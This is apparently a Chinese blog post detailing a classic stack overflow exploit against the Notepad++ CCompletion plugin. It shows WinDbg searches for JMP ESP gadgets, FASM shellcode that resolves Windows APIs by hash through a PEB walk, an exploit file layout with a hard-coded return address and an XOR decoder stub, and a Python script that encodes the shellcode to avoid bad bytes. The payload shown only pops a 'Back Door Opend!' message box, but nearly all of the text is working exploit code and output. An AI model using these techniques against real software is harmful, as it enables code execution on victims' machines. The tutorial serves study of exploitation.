标签:
标 题: 经典栈溢出利用详解一例—Notepad++插件CCompletion0:009> .effmach x86 Effective machine: x86 compatible (x86) 0:009:x86> lmvm kernel32 start end module name 76cc0000 76dd0000 KERNEL32 (pdb symbols) f:\ntsymbols\wkernel32.pdb\139CA12C1AB645F6A7F2DD1A098696692\wkernel32.pdb Loaded symbol image file: KERNEL32.dll Image path: KERNEL32.dll Image name: KERNEL32.dll Timestamp: Fri Aug 02 09:53:25 2013 (51FB1115) CheckSum: 00111A9F ImageSize: 00110000 ………………………………………………… 0:009:x86> s 76cc0000 L00110000 ff e4 76ce8bd5 ff e4 45 cd 76 89 b5 b8-fd ff ff 89 b5 bc fd ff ..E.v........... 0:009:x86> u 76ce8bd5 KERNEL32!BasepCheckCacheExcludeCustom+0x54: 76ce8bd5 ffe4 jmp esp 76ce8bd7 45 inc ebp ……………………………………………………………
0:009:x86> lmvm notepad* start end module name 00400000 005c9000 notepad__ (deferred) Image path: F:\Program Files (x86)\NotePad++\notepad++.exe Image name: notepad++.exe Timestamp: Tue Dec 10 18:54:54 2013 (52A6F2FE) CheckSum: 0018B6E1 ImageSize: 001C9000 File version: 6.5.2.0 Product version: 6.5.2.0 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Don HO don.h@free.fr ProductName: Notepad++ InternalName: npp.exe OriginalFilename: Notepad++.exe ProductVersion: 6.52 FileVersion: 6.52 FileDescription: Notepad++ : a free (GNU) source code editor LegalCopyright: Copyleft 1998-2013 by Don HO 0:009:x86> s 00400000 L001C9000 ff e4 0044c4ed ff e4 ff ff 5f 5e c2 04-00 cc cc cc cc cc cc cc ...._^.......... 0051a88b ff e4 f9 4e 00 ff ff ff-ff ef f9 4e 00 00 00 00 ...N.......N.... …………………………………… 0:009:x86> u 0044c4ed notepad__+0x4c4ed: 0044c4ed ffe4 jmp esp ……………………………………
LoadLibraryExA_Digest equ 0xc0d83287 LoadLibraryA_Digest equ 0x0C917432 MessageBoxA_Digest equ 0x1E380A6A FreeLibrary_Digest equ 0x30BA7C8C use32 shellcode_start: push ebp ;// 保存栈帧 mov ebp, esp ;// 获取USER32.DLL的基址 call @f du "USER32.DLL",0 @@: call get_module_base test eax, eax jz ._shellcode_return push eax ;// [ebp-4] ;// 获取MessageBoxA的地址 push MessageBoxA_Digest push eax call get_proc_address_by_digest test eax, eax jz ._shellcode_return ;// Shell Code. Shion [Shel l_Co de._ Shio n000 call @f db "Back Door Opend!", 0 @@: pop edi call @f db ‘HA...‘, 0 @@: pop esi push 00000040h push esi push edi push 0 call eax ._shellcode_return: leave jmp $ ;/************************************************************************/ ;/* some useful procs for shell code programming. ;/* tishion ;/************************************************************************/ use32 get_peb: mov eax, 30h mov eax, [fs:eax] ;// eax = ppeb ret ;/************************************************************************/ ;/* Get base address of module ;* tishion ;* 2013-05-26 13:45:20 ;* IN: ;* ebp+8 = moudule name null-terminate string [WCHAR] ;* ;* OUT: ;* eax = ntdll.base ;* #define _Wcsnicmp_Digest 0x548b2e5f ;/************************************************************************/ use32 get_module_base: push ebp mov ebp, esp call get_ntdll_base jz ._find_modulebase_done push 548b2e5fh ;// hash of _wcsnicmp push eax call get_proc_address_by_digest test eax, eax ;// _wcsnicmp jz ._find_modulebase_done push eax ;// [ebp-04h]_wcsnicmp call get_peb test eax, eax jz ._find_modulebase_done mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] mov esi, [eax+1ch] jmp ._compare_moudule_name ._find_modulebase_loop: mov esi, [esi] ;// esi = pLdr->InInitializationOrderModuleList ._compare_moudule_name: test esi, esi jz ._find_modulebase_done xor edi, edi mov di, word [esi+1ch] ;// length push edi push dword [esi+20h] ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR] push dword [ebp+08h] mov edi, [ebp-04h] call edi test eax, eax jnz ._find_modulebase_loop mov eax, [esi+08h] ;// eax = pLdrDataTableEntry.DllBase ._find_modulebase_done: leave ret 4 ;/************************************************************************/ ;/* Get base address of ntdll.dll module ;* tishion ;* 2013-05-26 13:45:20 ;* ;* OUT: ;* eax = ntdll.base ;/************************************************************************/ use32 get_ntdll_base: call get_peb test eax, eax jz ._find_ntdllbase_done mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA] mov eax, [eax+1ch] ;// eax = pLdr->InInitializationOrderModuleList mov eax, [eax+08h] ;// eax = pLdrDataTableEntry.DllBase ._find_ntdllbase_done: ret ;/************************************************************************/ ;/* Get function name digest ;* tishion ;* 2013-05-26 13:45:20 ;* ;* IN: ;* esi = function name ;* OUT: ;* edx = digest ;/************************************************************************/ use32 get_ansi_string_digest: push eax xor edx, edx ._next_char: xor eax, eax lodsb test eax, eax jz ._done ror edx, 7 add edx, eax jmp ._next_char ._done: pop eax ret ;/************************************************************************/ ;/* Get function address by searching export table ;* tishion ;* 2013-05-26 13:50:13 ;* ;* IN: ;* [ebp+8] = module base ;* [ebp+0ch] = function name digest ;* OUT: ;* eax function address (null if failed) ;/************************************************************************/ use32 get_proc_address_by_digest: push ebp mov ebp, esp mov eax, [ebp+8] add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS push eax ;// [ebp-04h] ;//add eax, 18h ;// eax = ImageOptionalHeader IMAGE_OPTIONAL_HEADER ;//add eax, 60h ;// eax = ImageExportDirectoryEntry IMAGE_DIRECTORY_ENTRY_EXPORT ;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下: add eax, 78h mov eax, [eax] ;// eax = RVA IMAGE_EXPORT_DIRECTORY add eax, [ebp+08h] ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY mov ecx, eax mov eax, [ecx+20h] add eax, [ebp+08h] ;// eax = AddressOfNames push eax ;// [ebp-08h] 导出名称地址表 mov eax, [ecx+24h] add eax, [ebp+08h] ;// eax = AddressOfNameOrdinals push eax ;// [ebp-0ch] 导出序号表 mov eax, [ecx+1ch] add eax, [ebp+08h] ;// eax = AddressOfFunctions push eax ;// [ebp-10h] 导出RAV地址表 push dword [ecx+10h] ;// [ebp-14h]ordinals base push dword [ecx+14h] ;// [ebp-18h]NumberOfFunctions push dword [ecx+18h] ;// [ebp-1ch]NumberOfNames mov ecx, [ebp-1ch] mov ebx, ecx mov eax, [ebp-08h] ._find_func: mov edi, ebx sub edi, ecx mov esi, [eax+edi*4] test esi, esi ;// esi是否NULL loope ._find_func inc ecx add esi, [ebp+08h] call get_ansi_string_digest cmp edx, [ebp+0ch] loopne ._find_func ;// ecx 为目标函数在函数名数组中的index xor edx, edx mov eax, [ebp-0ch] mov dx, [eax+edi*2] cmp edx, [ebp-18h] jae ._return_null mov eax, [ebp-10h] ;// eax = AddressOfFunctions mov eax, [eax+edx*4] ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址 add eax, [ebp+08h] jmp ._function_found_done ._return_null: xor eax, eax ._function_found_done: leave ret 8
TARGET_EIP_OFFSET equ 0x430 use32 db 0xff, 0xfe ;// Unicode bom org 0x0 times 0x80 du ‘A‘ shellcode_start: ;// shellcode解变形 ;// 先让esp指向shellcode_start处 sub sp, (ESP_OFFSET - shellcode_start) ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00 mov edi, esp ;// 寻址payload ;// 让edi指向payload_start add edi, (payload_start - shellcode_start) mov cx, ‘PL‘ ;// payload的长度 .continue: mov al, byte [edi] xor al, cl mov byte [edi], al inc edi loopnzw .continue ;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变, ;// 所以首先调整ESP的值到shellcode代码区之前32个字节处 ;// 否则shellcode执行中会破坏shellcode代码 sub esp, 0x20 payload_start: times (TARGET_EIP_OFFSET - payload_start) db ‘P‘ ;// 为Payload预留的代码空间 payload_end: org TARGET_EIP_OFFSET ;// 调整对齐伪指令 dd 0x0044C4ED ;// 我们已知的JMP ESP指令的地址 ESP_OFFSET: jmp shellcode_start ;// 注意此时esp指向这里 ;// 多来点填充尾部 times 400 du ‘E‘
37 DE FD FF FD FF 57 DE FD FF FD FF 54 DF FD FF FD FF 14 D8 FD FF FD FF 01 DB FD FF FD FF 72 DA FD FF FD FF CE DB FD FF FD FF D8 D9 FD FF FD FF
#!/usr/bin/env python #coding:utf-8 """ Author: tishion --<tishion#163.com> Purpose: Created: 2014/2/22 """ from struct import * def encode_sc(srcfn, dstfn, s=0): """ shell code变形方法: 把shell code中的每一个字节与该字节在整个单独的shell code中的 偏移值进行异或,然后再与一个salt做一次异或。 salt的存在主要是为了寻找一个满足各种要求的shell code变体 """ try: srcf = open(srcfn, ‘rb‘) #shell code源文件 dstf = open(dstfn, ‘wb‘) #变形后的目标文件 OneByte = Struct(‘B‘) srcstr = srcf.read() dststr = ‘‘ salt = s & 0xFF for i in range(0, len(srcstr)): srcbyte = OneByte.unpack(srcstr[i])[0] #dstbyte = (srcbyte ^ (i + salt)) & 0xFF #这种算法最终无法找到满足要求的变形结果 #dstbyte = (srcbyte ^ salt ^ i) & 0xFF #通过这中算法找到了满足的变形结果salt=0x20 dstbyte = (srcbyte ^ salt) & 0xFF # ############################################################## #判断条件,这里的代码用于判断生成的shell code是否符合某些要求 if ( (dstbyte == 0) or (((i % 2) != 0) and (dstbyte >= 0xD8) and (dstbyte <= 0xDF)) ): #print ‘i=‘, i, ‘dstbyte=‘, hex(dstbyte) srcf.close() dstf.close() return False ############################################################### dststr = dststr + OneByte.pack(dstbyte) print ‘[%d]0x%02x ==> 0x%02x‘ % (i, srcbyte, dstbyte) dstf.write(dststr) srcf.close() dstf.close() except Exception, e: print ‘Exception:‘, e return False return True if __name__ == ‘__main__‘: srcfn = r‘F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin‘ dstfn = r‘F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin______‘ #encode_sc(srcfn, dstfn, 0x20) #exit() for i in range(2, 0xff): if encode_sc(srcfn, dstfn, i): print ‘OK @salt =‘, hex(i) break else: print ‘Failed @salt =‘, hex(i) pass
OK @salt = 0x43
TARGET_EIP_OFFSET equ 0x430 PAYLOAD_ENCODE_SALT equ 0x43 PAYLOAD_LENGTH equ 0x154 use32 db 0xff, 0xfe org 0x0 times 0x80 du ‘A‘ shellcode_start: ;// shellcode解变形 ;// 先让esp指向shellcode_start处 ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00 sub sp, (ESP_OFFSET - shellcode_start) mov esi, esp ;// 寻址payload ;// 让esi指向payload_start add esi, (payload_start - shellcode_start) mov cx, PAYLOAD_LENGTH ;// payload的长度 .continue: mov al, byte [esi] xor al, PAYLOAD_ENCODE_SALT mov byte [esi], al inc esi loopnzw .continue nop ;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变, ;// 所以首先调整ESP的值到shellcode代码区之前32个字节处 ;// 否则shellcode执行中会破坏shellcode代码 sub esp, 0x20 payload_start: times (TARGET_EIP_OFFSET - payload_start) db ‘P‘ payload_end: org TARGET_EIP_OFFSET ;// 调整对齐伪指令 dd 0x0044C4ED ;// 我们已知的JMP ESP指令的地址 ESP_OFFSET: jmp shellcode_start ;// 注意此时esp指向这里 ;// 多来点填充尾部 times 400 du ‘E‘
;/************************************************************************/ ;/* Get function name digest ;* tishion ;* 2013-05-26 13:45:20 ;* ;* IN: ;* esi = function name ;* OUT: ;* edx = digest ;/************************************************************************/ use32 get_ansi_string_digest: push eax xor edx, edx ._next_char: xor eax, eax lodsb test eax, eax jz ._done ror edx, 7 add edx, eax jmp ._next_char ._done: pop eax ret ;/************************************************************************/ ;/* Get function address by searching export table ;* tishion ;* 2013-05-26 13:50:13 ;* ;* IN: ;* [ebp+8] = module base ;* [ebp+0ch] = function name digest ;* OUT: ;* eax function address (null if failed) ;/************************************************************************/ use32 times 0x10 db 0x90 ;//在此处填充16个nop get_proc_address_by_digest: push ebp mov ebp, esp mov eax, [ebp+8] add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS push eax ;// [ebp-04h]
PAYLOAD_LENGTH equ 0x154
PAYLOAD_LENGTH equ 0x164
经典栈溢出利用详解一例—Notepad++插件CCompletion
标签:
原文地址:http://blog.csdn.net/otishiono/article/details/51524509